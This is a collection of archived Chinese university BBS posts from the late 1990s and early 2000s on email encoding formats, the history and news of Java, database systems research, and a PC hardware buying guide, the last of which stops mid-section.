pGquYaZuoUmn2qxPseepc6dnoUGr3LCqv70ms773t3 ym Yqa5plakaq5hptu 　　如果你使用支持MIME标准的电子邮件软件，那么 在收发信件的过程中是看不到这些乱七八糟的字符的。但 如果很不幸，收信人没有这种支持MIME的软件，他看到的 东西就是上面那一大段符号了。不过别急，你仍然可以先 将这份“天书”存档，然后使用一些decode软件把它翻译 回来。 　　●Binhex编码 　　Binhex的编码方式常用于Mac机器，在PC上是较 少使用的一种编码方式。一般PC上的电子邮件软件，亦多 数支持MIME的规格，很少有支持Binhex格式。在常用的电 子邮件软件中，唯Eudora具有这种功能，可直接解读Binh ex的编码，如果你收到了这种由Binhex所编码的邮件，而 且你的mail软件并不是Eudora或其他支持Binhex格式的软 件。那也得用一个解读Binhex的程序解码。有一个共享软 件 Binhex3�exe具有这个功能，它在许多FTP站点都能找 到。 　　在Windows下，你还可以用我们前面所介绍的win code来解码。本文介绍的UU编码、MIME以及Binhex都可以 用它来处理。但可惜的是，对于MIME，它只处理Base64的 编码。如果能再加上QP的功能，真的可以靠它走遍天下了 。 　　在MIME几乎已成标准规格的现在，用一套支持MI ME的软件来做收发E－mail的工作，这些编码/解码工作就 会自动完成，不会给你带来麻烦。(湖南　孙　谦) -- 不可不信--For it's true; 不可全信--For it's lies. ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: ms] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Java精华区文章阅读 -------------------------------------------------------------------------------- 发信人: skyer (龙在天), 信区: Java 标 题: Java 的 由 来 发信站: 日月光华站 (Thu Mar 11 15:06:18 1999) , 转信 (这是从 www.sun.com.cn 上转来的，虽然老了点，权作知识介绍吧) 溯源Java可追至1991年4月Sun公司的“Green Project(绿色计划)”。 早期研究小组成员包括Patrick Navghton、 Jame Gosling和Mike Sheridan等科学家。 1995 年5月23日Sun公司正式向公众推出Java。 简而言之，Java是一种软件编程语言，旨在为 Internet发展而使网页(Web Page)由静态转为动态，并可产 生“ 小应用程序(Applets) ”的一种简化语言。它具有阻碍 电脑病毒传播的功能，使用者无 需花费许多时间学习；Java突破 了客户端机器环境和CPU结构的语 言，可做到 “编写一次，到处运 行(Writing Once,Running Everywhere)” 。 起初命名这种软件语言 时，有若干选择供考虑：如Oak (橡树)、Silk(丝绸)等，但最终 还是由早期研发小组成员们所钟 爱的热腾香浓的咖啡之中获得灵 感，据说他们在研发期间饮用了 大量咖啡，而一致推崇Java(爪哇)所产咖啡为最佳。 从问世至今，Java已由Sun公司的杰作发展成为信息技 术产业市场的宠儿；Microsoft(微软)、IBM等计算机行业的 巨人均已申请Java使用许可证。人们期待乘着Java神奇的翅 膀在更为广阔的天地中翱翔。 -- ------------------- | . _.-----. \.-./ . . | \`-.._,-' .-. .-.`-' ``-. _,-'.'`. 飞龙在天，利见大人 | `-.____,-. `:. `.-'-._.O-:_ .:'.,| | `-" `-" `-.__.' ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.11.10.70] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
发信人: clj (陶侃), 信区: Network 标 题: 美国计算机厂商寄希望于使用方便的互联网设备 发信站: 日月光华站 (Wed Nov 24 12:58:46 1999) , 转信 ABC网站对Comdex展示会的综合报导称，美国计算机厂商把他们今后的前途押在使用方 便的互联网设备上。目前美国50%家庭已有计算机，其中绝大部分已利用计算机上网，而 现在美国计算机厂商把眼光瞄准了其余的50%，希望能通过推销使用方便、价格便宜的设 备，使这些家庭能方便上网。据IDC公司估计，到2003年，互联网设备的销售额将达153 亿美元，而对如此巨大的市场，从微软到台湾的宏基，都在这届Comdex展示会上拿出自 己的不用PC的互联网上网产品。使用户方便地上网，将成为今后计算机厂产品开发的方 向。 -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.64.8.229]
日月光华 -- Java精华区文章阅读 -------------------------------------------------------------------------------- 发信人: ttlink (ft的ontology), 信区: Java 标 题: Sun公司为Java技术“升级” 发信站: 日月光华 (2002年10月01日18:01:29 星期二), 站内信件 最近，Sun公司对其Java编程环境进行了改进，加强了Java在企业级计算机和个人PC设备 上的应用功能，其中的新型工具将提高开发者为复杂的移动设备开发跨平台应用程序的 能力，而相应的企业工具也在改进之中。 　　于本周二在日本举行的JavaOne开发商研讨会上，Sun公司公布了其最新版本的Java 2企业版(J2EE)——1.4版本，其中包括一个用于Web服务的应用程序界面(API)主机。与 此同时，Sun公司还针对在那些嵌入式设备，如机顶盒、汽车电子装置、高端笔记本电脑 以及游戏控制台等，发布了Java 2微型版本(J2ME)个人版规范。 　　Java是Sun公司开发的一个编程环境，用于开发通过一次性编写即可以在多种平台上 运行的应用程序，这些平台 　　J2ME个人版也称为JSR 62，由Java团体处理小组(JCP)开发。JCP成员全部是移动设 备行业的主要大型公司，其中包括爱立信、IBM、菲利普、Research in Motion、德州仪 器等公司。新的J2ME个人版规范将在JavaOne上向开发商公布。Sun公司已经发布了J2ME 个人版的参考说明，对于那些基于英特尔StrongARM的Linux操作系统的应用程序开发商 来说，不久就会得到基于CDC HI(连接设备的配置及热点实现)的J2ME个人版的优化版本 ，其中包括了在移动设备上可以提供更好的Java性能的优化编译器。 　　Sun公司策略方案与设备主管胡安·迪瓦尔在一份声明中表示，通过创建Java应用程 序以及Applets，开发商现在完全可以实现计算性能显著增加、占地面积小以及程序启动 更为快速的潜在的客户设备。由于J2ME个人版是基于连接设备配置(CDC)之上的，所以包 括了一些低端Java实现功能，如并列式字码验证、Java自带的界面以及一个抽象的Wind ows工具箱等。 　　J2ME个人版规范可以从Sun公司的Java Web站点上获得，而相应参考说明和技术兼容 工具包则可以从Sun公司的工程师编程部门获取。 　　虽然很多移动电话制造商都采用了Sun公司的MIDP和其他Java平台程序，开发商仍然 抱怨这些应用程序对具体每个设备来说还应该进行很大的改进，否则Sun公司“一次编写 ，到处可用”的承诺就不会实现 -- --- There is a winding road ... ... --- ※ 来源:·日月光华 bbs.fudan.edu.cn·[FROM: 61.143.101.41] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Java精华区文章阅读 -------------------------------------------------------------------------------- 发信人: Jove (死生契阔，与子相悦，执子之手，与子偕老), 信区: Java 标 题: zz甲骨文提出Java新规范 Java开发有望走向统一 发信站: 日月光华 (2002年12月20日23:34:08 星期五), 站内信件 http://www.zdnet.com.cn/news/software/story/03800004741,39101898,00.htm 甲骨文提出Java新规范 Java开发有望走向统一 作者： ZDNet China/news.com Friday, December 20 2002 11:01 AM 为了消除Java团体日益增大的分歧，在征得其它Java公司的同意后，甲骨文公司将平衡 各Java开发工具的差异。 上月甲骨文公司向Java联盟(JCP)提交了其Java规范请求(JSR)198号建议，Sun公司负责 给Java规范中加入新特性。本周成立了一个专家组审查这一提议。 该计划提出一种标准化的方法将各家的开发工具统一成一个集成开发环境(IDE),对所有 开发工具提供单一的访问接口。甲骨文公司预计在明年3月份向JCP提交新规范草案。 尽管其它Java公司对甲骨文的提议表示赞成，但是该提议引发了一系列有争议的技术问 题。 目前，BEA和Sun公司采用AWT及Swing图形用户接口（ GUI）开发Java应用程序；而以IBM 为首的另外一些公司则倾向于Eclipse--IBM支持的一项计划，采用SWT开发工具。 此项提议的另一关键原因在于为Java开发者提供一个统一的IDE开发环境替代微软的Visu al Studio.Net工具。(贾俊峰 译) 查看本文的国际来源 http://news.com.com/2100-1001-978445.html -- "I'm not a great programmer; I'm just a good programmer with great habits". ---Kent Beck ※ 来源:·日月光华 bbs.fudan.edu.cn·[FROM: 10.85.38.144] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Database精华区文章阅读 -------------------------------------------------------------------------------- 发信人: dbman (dibo), 信区: DB 标 题: 数据库系统 发信站: BBS of FDU (Tue May 14 08:42:11 1996) 数据库系统 是一个实际可运行的存储、维护和应用系统提供 数据的软件系统，是存储介质、处理对象和管理 系统的集合体。它通常由软件、数据库和数据管理员 组成。其软件主要包括操作系统、各种宿主语言， 实用程序以及数据库管理系统。数据库是依照某种数据 模型组织起来并存放二级存储器中的数据集合。这些 数据为多个应用服务，独立于具体的应用程序。数据库 由数据库管理系统统一管理，数据的插入、修改和检索 均要通过数据库管理系统进行。数据库管理系统是一种 系统软件，它的主要功能是维护数据库并有效地访问数 据库中任意部分数据。对数据库的维护包括保持数据的 完整性、一致性和安全性。数据管理员负责创建、监控 和维护整个数据库，使数据能被任何有权使用的人有效 使用。数据库管理员一般是由业务水平较高、资历较深 的人员担任。 　数据库系统的个体含义是指一个具体的数据库管理系 统软件和用它建立起来的数据库；它的学科含义是指研 究、开发、建立、维护和应用数据库系统所涉及的理论、 方法、技术所构成的学科。在这一含义下，数据库系统 是软件研究领域的一个重要分支，常称为数据库领域。 数据库研究跨越于计算机应用、系统软件和理论三个领 域，其中应用促进新系统的研制开发，新系统带来新的 理论研究，而理论研究又对前两个领域起着指导作用。 　　数据库系统的出现是计算机应用的一个里程碑，它 使得计算机应用从以科学计算为主转向以数据处理为主， 并从而使计算机得以在各行各业乃至家庭普遍使用。在 它之前的文件系统虽然也能处理持久数据，但是文件系 统不提供对任意部分数据的快速访问，而这对数据量不 断增大的应用来说是至关重要的。为了实现对任意部分 数据的快速访问，就要研究许多优化技术。这些优化技 术往往很复杂，是普通用户难以实现的，所以就由系统 软件（数据库管理系统）来完成，而提供给用户的是简 单易用的数据库语言。由于对数据库的操作都由数据库 管理系统完成，所以数据库就可以独立于具体的应用程 序而存在，从而数据库又可以为多个用户所共享。因此， 数据的独立性和共享性是数据库系统的重要特征。数据 共享节省了大量人力物力，为数据库系统的广泛应用奠 定了基础。数据库系统的出现使得普通用户能够方便地 将日常数据存入计算机并在需要的时候快速访问它们， 从而使的计算机走出科研机构进入各行各业、进入家庭。 -- ※ 来源:．BBS of FDU news.fudan.sh.cn．[FROM: server.fudan.ed] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Database精华区文章阅读 -------------------------------------------------------------------------------- 发信人: dbman (dibo), 信区: DB 标 题: 数据库系统发展 发信站: BBS of FDU (Tue May 14 08:45:42 1996) 数据库系统发展 　　1969年美国的IBM公司开发了第一个数据库系统IMS。 这是一个层次数据库系统，在数据库系统发展史上有着 重要的地位。同年，美国的数据系统语言委员会(CODASYL) 下属的数据库任务组提出了著名的DBTG报告，并在1970年 提出了该报告的修订版。这份报告定义了数据库操纵语言、 模式定义语言和子模式定义语言的概念。数据库操纵语言 用于编写操纵概念视图的应用程序，模式定义语言用来编 写概念视图和内部视图相结合的模式程序。在七十年代， 开发了许多遵循DBTG报告的网状数据库系统，如：IDMS, IDS, DMSIIOO等。七十年代初，E.F.Codd提出了关系数据 模型的概念，提出了关系代数和关系演算。在整个七十年 代，关系数据库从理论到实践都取得了辉煌成果。在理论 上，确立了完整的关系理论、数据依赖理论以及关系数据 库的设计理论等等；在实践上，开发了许多著名的关系数 据库系统，如：system R, INGRES, ORACLE等。1986年美 国国家标准协会(ANSI)通过了关系数据库查询语言SQL的 文本标准。进入八十年代以后，随着计算机硬件技术的提 高，使得计算机应用不断深入，产生了许多新的应用领域， 如：计算机辅助设计、计算机辅助教学、计算机辅助制造、 计算机辅助工程、计算机集成制造、办公自动化、地理信 息处理、智能信息处理等等。这些新的应用领域对数据库 系统提出了新要求。由于没能设计出一个统一的数据模型 来表示这些新型数据及其相互联系，所以出现了百家争鸣 的局面，产生了演绎数据库（逻辑数据库，知识库）、面 向对象数据库、工程数据库、时态数据库、地理数据库、 模糊数据库、积极数据库、⋯等新型数据库的研究。到八 十年代后期和九十年代初期，出现了面向对象数据库系统， 如：GemStone, VBASE, ORION, Iris等。到目前为止，真 正的新一代数据库系统还没有出现。 -- ※ 来源:．BBS of FDU news.fudan.sh.cn．[FROM: server.fudan.ed] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Database精华区文章阅读 -------------------------------------------------------------------------------- 发信人: dbman (dibo), 信区: DB 标 题: 数据库基本研究内容　 发信站: BBS of FDU (Tue May 14 09:27:37 1996) 数据库基本研究内容　　 　　数据库系统作为一门学科，其主要的研究内容为：数据库理论、数据模型、 数据库语言、查询处理及其优化技术、数据的安全性（存取控制、可恢复性）、 事务管理（并发控制） 　　数据库理论 　主要内容为关系数据库理论（依赖理论、泛关系理论、超图理论等）、事务 理论、逻辑与数据库、面向对象数据库理论。关系数据库理论开始于E.F.Codd 1970年的论文。数据依赖是定义在关系上的约束条件，或者说数据依赖用于定义 合法的数据库，以维护数据的完整性和一致性。泛关系理论将数据库中的所有关系 都看作为包含所有属性的大关系的投影，这隐含了这样的假设脱离具体的关系讨论 属性是有意义的。泛关系思想为关系模式规范化提供了基础，而规范化是关系数据 库设计的依据。但是，泛关系数据库系统的含义是：用户对数据库的操作都是在泛 关系上进行的。到目前为止还没有出现商品化的泛关系数据库系统。超图理论将数 据库模式描述为超图，其主要目的为研究有效的查询处理算法，如：把无环超图用 于分布式数据库的查询优化。事务理论的研究内容是如何维护数据的一致性。当某 些操作被意外中断后会造成数据的不一致，如同一数据在某关系中作了修改而在另 一关系中确没改。为了避免这种情况，引入了事务。一个事务是一组数据库操作命 令，它们或者没有执行或者全部执行完毕。在有多个用户同时访问数据库的情况下， 就要考虑并发控制，如二段加锁、事务的串行化。逻辑与数据库理论主要研究如何 将逻辑程序设计技术与数据库技术有机结合，如演绎数据库系统的研究。面向对象 数据库理论主要处理大规模的复杂对象。 　　数据模型 　　任何一个数据库管理系统都至少提高供一种数据模型，因此数据模型是数据库 研究的基础。根据某种数据模型，人们可以用数据世界来合理表示现实世界的某一 部分，并且将数据世界映照成一个意识世界（用户界面）。数据模型有两方面含义： 数据以何种形式存储、用户以何种形式看待数据。常见的数据模型有层次模型、网 状模型、关系模型、逻辑模型、实体联系(E-R)模型和面向着对象模型等。 　　数据库语言 与通常的程序设计语言不同，在数据库语言中，描述性部分和过程性部分是分 开的。其过程性部分是一个通用的程序设计语言，称为宿主语言；而描述性部分包 括数据定义语言和数据操纵语言。数据定义语言用于说明数据库的逻辑模式；数据 操纵语言，亦称为查询语言，用于说明对数据库的操作。为了提高对数据库操作的 效率，采用了大量的查询优化的技术。从而查询处理及其优化技术的研究就成为数 据库研究的重要内容。这方面的工作主要包括索引技术和连接技术。对传统的数据 库而言这二项技术已趣完善。由于数据库查询语言和宿主语言之间存在阻抗不匹配 问题，所以在新型数据库系统中（如：面向对象数据库系统和知识库系统），倾向 于二者的有机集成，而构成一个数据库程序设计语言或持久性程序设计语言。 　　数据的安全性（存取控制、可恢复性） 　是指数据不被非法使用、在意外事件中不被破坏或丢失，这分别是存取控制和 可恢复性的研究内容。存取控制的通常做法是为不同用户设置不同的数据存取特权 并设立视图机制，使得每个用户只能访问到允许他访问的数据。可恢复性是指在意 外事件（软件或硬件方面）破坏了当前数据库状态后，系统有能力恢复数据库，使 损失减少到最低限度。数据恢复采用的方法通常是建立“日志”和经常性地做数据 库的备份。 　　事务管理（并发控制） 　在多用户共享的系统中，许多事务可能同时对同一数据进行操作（并发操作）， 这样数据库的完整性就可能遭到破坏。主要有丢失更新问题、不一致分析问题和尚 未提交的更新问题等。因此，要对事务进行管理、控制并发操作。其基本作法是对 数据实行加锁及事务调度。 -- ※ 来源:．BBS of FDU news.fudan.sh.cn．[FROM: server.fudan.ed] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Database精华区文章阅读 -------------------------------------------------------------------------------- 发信人: dbman (dibo), 信区: DB 标 题: 数据库研究的难点与展望 发信站: BBS of FDU (Tue May 14 09:33:02 1996) 数据库研究的难点与展望 　　深度（智能化） 　计算机科学主要目标是使计算机与人的界面尽量靠近人这边。因此， 要尽量提高计算机的智能水平。智能化是计算机科学各个分支的研究前沿。 在数据库方面，智能化的工作是将人工智能技术与数据库技术相结合， 即演绎数据库知识库研究。目前的主要困难在于递归查询处理无法取得满 意的性能，硬件技术的革命（大内存、并行机、高速存取的外存储器）将 是提高知识库查询效率的重要因素。　 广度（多媒体） 　多媒体数据处理的困难很多，即使是一般的复杂对象目前也还不能很好 地处理。多媒体数据的建模、存储和多媒体数据库的查询及查询处理等都是 困难的研究内容。　分布（网络）　信息分布方面主要是分布式数据库系统 的研究。分布式数据库从七十年代开始研究，但是一直没有出现分商品化的 分布式数据库系统，这说明了它的难度。当前比较好的具有数据分布特征的 数据库管理系统是client/server体系结构的系统（如：SYBASE,ORACLE7等）。 但新的计算机应用又对它提出了新的要求，智能化、新型事务模型、多媒体 数据的处理、高速信息通讯、数据源的高度透明性等将是新型的分布式数据 库系统的重要研究内容。 宿主语言与查询语言的集成 　 查询语言与宿主语言之间的“阻抗不匹配”问题长期以来一直困扰着 “数据库操纵语言＋宿主语言”形式的数据库系统。阻抗不匹配问题主要是 指二者支持不同的编程风范和数据类型。编程风范的不匹配将导致用户必须 学会使用两种完成不同的语言，并领会二者之间的连接规则，这对用户是一 个负担；数据类型的不匹配将导致用户必须处理不同数据类型间的转换，并 且这种转换的工作将由系统的接口程序来实现，这对于数据密集型应用来说 是一个沉重的负担。有机地将操纵语言与宿主语言集成是知识库系统和面向 对象数据库系统研究的初始原因之一，但问题还远没有解决。 各种数据库间的数据转换 　这种转换有两方面的需要：数据库管理系统软件的更新和计算机网络上不 同数据库间的数据共享。当数据库管理系统软件更新时，希望将原先的数据 库直接转到新系统中来，以保护以前的投资；在计算机网络上，常常运行着 多种类型的数据库系统，它们是在不同时间不同地点建立的，联网后这些投 资要保护，所以要进行数据库转换。 　数据库性能评价 　　一个好的数据库应该是：数据冗余尽可能少、数据库访问效率尽可能高 并且数据库易于维护。这涉及到数据语义和许多人为因素，因此定量的评价 非常困难。良好的评价方法或衡量模型将产生一个好的数据库设计方法，因 此意义重大。 　与软件工程的结合 　　到目前为止，数据库设计与应用程序设计是分离的，并且在具体的应用 系统开发中，往往由两个小组各行其事。其后果是一方面的优良设计不得不 放弃，导致系统性能低下或用户要求无法满足。面向对象技术是二者结合的 有效手段，但是，良地结合还需要很长时间的努力。 　处理的数据越来越庞大、计算机网络越来越复杂、系统的智能水平越来 越高是计算机系统发展的总趋势。因此，未来的信息管理系统的特征将是处 理复杂对象、分布、智能。在复杂对象处理方面，面向对象数据库、多媒体 数据库将会由于广泛的应用背景和强大系统实验而迅速发展。在数据分布方面， 客户/服务器数据库系统将快速发展，并在应用上取的良好效果。在智能化方面， 数据库和人工智能将在各自的领域不断发展、不断取得新的成果。二者结合方面的研 究将不断地利用二者的成果研制出新型的系统。任何时侯两方面的结合都是必要的。 _ -- ※ 来源:．BBS of FDU news.fudan.sh.cn．[FROM: server.fudan.ed] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Hardware精华区文章阅读 -------------------------------------------------------------------------------- 发信人: huxley (Roy), 信区: Hardware 标 题: 电脑采购策略综述——准备篇 发信站: 日月光华站 (Mon Aug 30 21:08:25 1999) , 转信 (飞翔鸟硬件资讯站 birds.bta.net.cn) 随着电脑硬件价格的不断下降和电脑软件操作上越来越人性化。电脑成 为众人关注的焦点，并逐渐作为一种信息家电产品进入了千家万户。买电 脑、学电脑、用电脑成为人们的一种时尚追求，全国各地火爆的电脑市场也 充分的说明了这一点。但是，如何选购一台符合自己要求的电脑，如何配置 一款属于自己的完美PC，如何让自己的血汗钱不至于被奸商骗走。这些问题 一直困扰着广大DIY的朋友，特别是一些初次出道的菜鸟们。本文主要叙述一 些电脑采购上的策略和方法，希望能给各位一些有益的启示。（自认老鸟的 可以跳过此节，后面还有更多更精彩的文章哦！^_^） 常常有朋友问我：“我想买一台电脑，现在买什么最好”或者“现在买 一台电脑要多钱”。其实这个问题非常的笼统，而且也难以回答。一台多媒 体电脑整机由十二个基本部件组成，每个部件都发挥着自己的功效，缺一不 可。同时这十二个部件又可以根据你的不同需要选择不同的档次。正是由于 电脑在配置中的这种灵活性，所以使得不同需求的人可以拥有不同配置的电 脑，也使得每一款电脑的配置和价格都会有所差别。因此适合所有人的电脑 是不存在的，能够根据不同的要求配置不同的电脑系统就是电脑DIY的精髓所 在，也是本文的讨论重点。 俗话说：“兵马未动，粮草先行。”做任何事情都要事先做好准备，买 电脑也是一样。因此如果想购买一台称心如意的电脑，那你一定要做好： 　 采购前的准备 选购一台称心如意的电脑，你首先要明确自身的需求。你准备用这台电 脑做些什么？如果你有多种需求，那么就按照顺序列出一二三来，然后把每 一分钱都用在刀口上。举个例子说明一下吧！一般家用电脑主要是学习、娱 乐、上网这三大功能。如果这台电脑是给一个刚刚迈进电脑这个神奇世界的 初学者使用的话，配置就无需非常高，只要能够运行主流的系统软件和应用 软件并且满足普通的应用即可。等到能够熟练的掌握电脑操作，并且可以把 电脑作为自己的重要工具时，再根据情况选配一台新的电脑。这样做不仅可 以节省购买电脑的开销，还可以有效的防止功能的闲置而造成的浪费。其次 还要根据自己的经济实力。电脑再怎么说也是一个大件商品，没有个几千元 钱是那不下来了。但是由于每个人的经济实力各有不同，因此能拿出来购买 电脑的钱也不会相同。本着有多少钱、办多大事的原则，我们还要根据自生 的的经济实力规划出自己的购买目标。下面我们针对电脑中的几个主要配件 来说明一下。 1、CPU 随着国家半导体公司宣布退出CPU的竞争之后，Cyrix这个昔日也曾风光 一时的CPU品牌也渐渐的淡出了市场。IDT、RISE等小公司的实力根本不足以 和INTEL相抗争。不过还好还有AMD在做着不懈的努力，让我们还有除了 INTEL之外的第二种选择。目前市面上的CPU除了INTEL的赛扬、PII、PIII之 外，就只有AMD的K6-2和K6-III了。INTEL的CPU具有浮点运算比较快的传统 优点，同频的CPU在图像处理和游戏的表现上要略胜一筹。而K6-2、III在大 多数商用和家用软件的运行速度上要比同频的INTEL CPU要快。因此建议一 般家庭用户如果是初学电脑或是仅仅将电脑作为文字处理或炒股工具的话可 以选择K6-2 CPU，这样可以降低购机的成本，而且速度上也不会有很大的差 别。赛扬系列芯片是游戏玩家的好选择，强大的浮点性能可以让游戏运行更 流畅，画面也可以更精美。专业级用户理所当然要选择PII或PIII系列CPU， 大量的数据证明PII和PIII芯片所内置的512K高速缓存对于专业级运算有着 相当大的裨益。 选购CPU时最最需要当心的当然就是REMARK了。奸商们把低主频的CPU上 面的频率标记擦掉，标上高一级的主频出售，谋取其中的差价利润。前一段 时间，市场上出现了大量的PII450 CPU，但是当时美国政府根本就不允许 PII450级别的CPU出口到中国。所以明眼人一下就可以看出，这些PII450肯 定都是由低主频CPU REMARK而来的。辨识REMAKE CPU最好的办法就是将CPU 的工作环境设置的相对高一点，然后点选二十个以上的HTM或DOC文件，同时 打开，一旦CPU是经过REMARK的话，一定会死机死得一塌糊涂。对于初级用 户来说，购买CPU时最好到那些大公司购买，这些公司大多都是INTEL的黄金 代理商，一般不会有假货。而且如果你没有多少辨别假货的经验的话，最好 是选购盒装或者叫原包的CPU。 2、主板 主板的选择相当多，特别是近两年，出现了不少主板品牌，一时间主板 市场鱼龙混杂。选择主板首先看芯片组，采用INTEL BX芯片组的主板当然是 PII和PIII的最佳拍档，而其他芯片组的主板和CPU的搭配就要看你的选择 了。一般的家庭用户如果购买电脑的经费比较紧张，急需降低购机成本的 话，选择K6-2 CPU搭配采用SIS530芯片组或MVP4芯片组的主板是最理想的组 合。SIS530芯片组内置的显卡是SIS6326，应付一般应用绰绰有余，而且整 块主板的价格相对来说也较便宜。而MVP4内置的TRIDENT 9880（Blade 3D）显卡，拥有比SIS6326强大的多的3D性能，对于偶尔需要玩一些3D游戏 或进行一些不太复杂的3D演算工作的人来说是颇具性价比的选择。选用赛扬 芯片的电脑，其主板的选择范围也是最广的从高端的BX芯片组到低端的ZX和 EX芯片组，还有最新推出的810芯片组都可以配合赛扬芯片使用。其选择也要 根据要求的不同而发生变化。如果是家庭用户的话，推荐采用810芯片组的整 合式主板。810芯片组主要就是针对赛扬芯片推出的新一代整合式芯片组，虽 然在刚刚推出的时候有一些小问题，现在INTEL的新一代810芯片组已经解决 了这些问题。同时这些问题大多都是发生在SOLT 1结构上的，如果采用价廉 物美的SOCKET370结构CPU的话，整机的性价比相当高。而且810主板内置的 显卡、声卡甚至MODEM功能都可以为家庭用户节省大量的金钱，功能也不弱。 对于要求较高的游戏玩家来说，810主板上内置的I752显卡显然不能满足他 们对游戏画面近乎完美的追求。他们需要的是一块可以灵活配置显卡的主 板，整合式主板当然无法符合他们的要求。采用ZX和BX芯片组的主板将可以 在很大的程度上满足他们的需求。专业级用户当然要选择一款速度、兼容性 和可扩充性都不错的主板，在近期INTEL BX可能是他们的唯一选择。当然专 业级用户还可以根据自己的需求配置双CPU主板或是带有SCSI接口的主板。 主板相对来说假货较少，但是一些名牌主板如华硕等都出现过仿冒品。 对于这些仿冒品，一般来说主板生产厂商都会在杂志上发表辨识的方法，供 消费者选购时参考。假冒主板上有多处和真品不同之处，相对来说较好识 别。 3、内存 记得三年前配电脑的时候，能拥有16MB内存是一件令人羡慕的事情。 16MB内存让那时的Windows3.2运行如飞，简直是爽极了。但是如今64MB内存 只能让Windows98运行起来的不会感到难受而已。可见操作系统对于内存的 要求不但越来越高而且发展极快。如果就普通应用来说，内存的配置在 32MB—64MB之间的话就可以满足需要了，但最好是能配置64MB内存。而对于 相对要求比较高的游戏玩家和专业级用户来说，128MB内存则将是他们的基本 配置。另外，加大内存容量对于上网的朋友提高网速将起到相当大的作用， 最起码也要配置64MB内存。在经济条件许可的情况下，配置128MB内存也是 一个相当可行的方案。 目前市场上的内存条质量良莠不齐，小小的内存条成为商家玩花样的大 舞台。不光内存芯片存在着REMAKE的现象，而且采用同样内存芯片颗粒的内 存往往也存在着质量不同的情况。所以不能光看内存芯片，还应该注意内存 的的整体做工情况。另外由于内存的速度是根据内存芯片颗粒的速度来定 的，有的商家就把LGS 7J和7K内存当作7ns的内存来卖；把一些标有-6、-8 的内存条当作6ns和8ns的内存来卖。其实这些都是10ns的内存，目前市场上 还没有真正的7ns的内存条上市。对于初级用户来说，推荐采用kingmax盒 装，这款刚刚打进中国市场的品牌内存具有良好的性能和相对较低的价格， 非常适合对于硬件不是十分熟悉的发烧友选购。 4、硬盘 硬盘在容量上的选择和内存一样，多多益善。一般来说越大的硬盘，元 /MB的单价就越小，也就越合算。在经济条件许可的情况下，硬盘不妨配的大 一点。现在市面上的主要硬盘品牌有昆腾、西捷、迈拓、西部数据和最近打 入国内市场的IBM。昆腾硬盘的速度较快，而且可以在超频时IDE接口的非正 常工作频率下稳定工作，因此深受广大电脑玩家特别是超频玩家的喜爱，在 市面上拥有非常好的口碑。在电脑市场里装机的个人用户，十有八九都指定 要用昆腾硬盘。市面上的昆腾硬盘有两种，一种的性能非常优异的火球系列 硬盘，另一类是以性价比见长的大脚系列硬盘。大脚系列硬盘也是市面上唯 一的五寸大小的硬盘。迈拓硬盘进入国内市场的时间不长，但却凭借良好的 销售渠道和优秀的性能在市场上一举成名。迈拓硬盘的速度非常快，几乎每 一款硬盘都在同级别的硬盘中傲视群雄。唯一的缺点是很难在非标准外频下 使用，因此推荐在应用比较稳定的中高端商用电脑上使用。西捷硬盘在电脑 爱好者中口碑不太好，主要是因为前两年由于国内工厂质量控制方面的问 题，致使一段时间里西捷硬盘的质量非常的差。近两年，西捷硬盘的质量有 了相当大的提高，我的一个做西捷硬盘代理的朋友对西捷的品质大加赞赏。 特别是西捷最新推出的巴厘二代和凤凰系列硬盘，都有着非常出色的性价 比。推荐家庭用户和低端商业用户采用西捷硬盘，在低价格和高性能上找到 一个非常合适的平衡点。IBM应该算是硬盘领域的大哥大了，虽然在九九年刚 刚打入国内市场，就已经让大家领教了它的厉害。它连续带动了主流硬盘的 容量从6.4G直接升到了10.1G，然后又再一次将容量提高到了15.2G。IBM的 硬盘品种非常齐全，而且较多都是大容量的硬盘产品，因此在高端用户中还 是相当受欢迎的。西部数据硬盘在国内的名气不是非常响，不过它在性能的 表现上也相当的出众，而且价格相对较低，也非常适合家庭用户选择。 硬盘的制造工艺比较复杂，容量也无法有太大的改变，所以卖到假货的 可能性几乎是零。但是由于硬盘厂商在各级产品中都有容量相同的硬盘，而 这些硬盘的价格可能相差较大。所以一些奸商就会耍一些“狸猫换太子”的 勾当，将你购买的昆腾火球八代6.4G换成昆腾大脚6.4G，将西捷巴厘二代换 成最便宜的马威系列。虽然从容量上看一模一样，但是速度却要慢了许多， 其中的差价也就神不知鬼不觉得进入了奸商的腰包。选购硬盘时注意看看硬 盘的型号，让商家在保修单上写清楚，这样以后出了问题还可以再去找他。 5、显卡 其实显卡的部分是最难选择的部分，对于显卡的选择也一向是仁者见 仁、智者见智。特别是近年来显卡的发展速度超越了CPU，几乎每三个月就推 出一代全新的产品。要选择一款适合自己的显卡真的非常困难。 首先，显卡有PCI和AGP之分，目前PCI接口的显卡已经逐渐被AGP接口的 显卡所取代，主流显卡几乎全部都采用了AGP接口，想要找一块好的PCI显卡 已经非常困难了。所以除非您电脑的主板没有AGP槽口，否则的话AGP接口的 显卡降是你不二的选择。 其次，“按需购买，量力而行”是购买显卡的一贯准则。根据这个标 准，可以将显卡的选购对象分为三类：第一类是一般用户，他们的电脑主要 用于文字处理、上网、看影牒，不玩或很少玩游戏，因此他们对显卡没有什 么特殊的要求，一般够用即可。针对这类消费者，使用Trident 9750、 9850、9880或SIS 6326显示芯片，配有4M或8M显存的显卡就已够用。第二类 是高级用户，除了文字处理、上网以外，他们也玩游戏，因此对显卡的3D性 能有一定要求，要求不高的朋友可以选择使用i740芯片、Riva 128芯片或是 使用S3 Savage芯片的显卡，如果对显卡的3D性能要求较高，那么Riva TNT、Voodoo Banshee或Voodoo2（此卡为3D子卡，还需一专门负责2D输出 的显卡配合使用）是不错的选择。第三类是发烧级的朋友，他们总是追求最 好的性能，显卡的价格在这里成为次要的因素，如果你属于这一类，那么 Voodoo 3系列、Riva TNT2以及G400系列都应该成为你考虑的对象。最后我 